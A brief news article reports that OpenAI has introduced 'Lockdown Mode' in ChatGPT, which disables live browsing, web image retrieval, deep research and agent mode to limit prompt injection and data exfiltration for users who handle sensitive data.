OpenAI unveils Lockdown Mode to protect sensitive data from prompt injection attacks

OpenAI has launched "Lockdown Mode," a new feature designed to counter prompt injection attacks. These attacks involve embedding malicious instructions within web pages and other digital content sources, potentially compromising chatbot interactions. The new mode restricts several advanced functionalities within ChatGPT to mitigate these risks.

Specifically, Lockdown Mode disables live web browsing, limiting access to only cached content. It also prevents the retrieval and display of images from the web, though image generation remains possible. Additionally, deep research capabilities and the agent mode are deactivated to further reduce exposure to malicious prompts.

OpenAI notes that while Lockdown Mode significantly enhances security, it doesn't eliminate all prompt injection vulnerabilities. Attacks could still originate from cached web content or uploaded files, potentially influencing the chatbot's behavior or accuracy. The primary goal is to minimize the chances of sensitive data being inadvertently shared or compromised during interactions.

Lockdown Mode is not intended for all users. It is specifically designed for individuals and organizations that handle highly sensitive data and require stringent protection against data exfiltration risks associated with prompt injection. The feature aims to provide an additional layer of security for these high-stakes environments.

Currently, OpenAI is rolling out Lockdown Mode to self-serve ChatGPT Business accounts and eligible personal accounts. This phased deployment ensures that users with the greatest need for enhanced security can access these protections first, reinforcing data integrity for critical operations.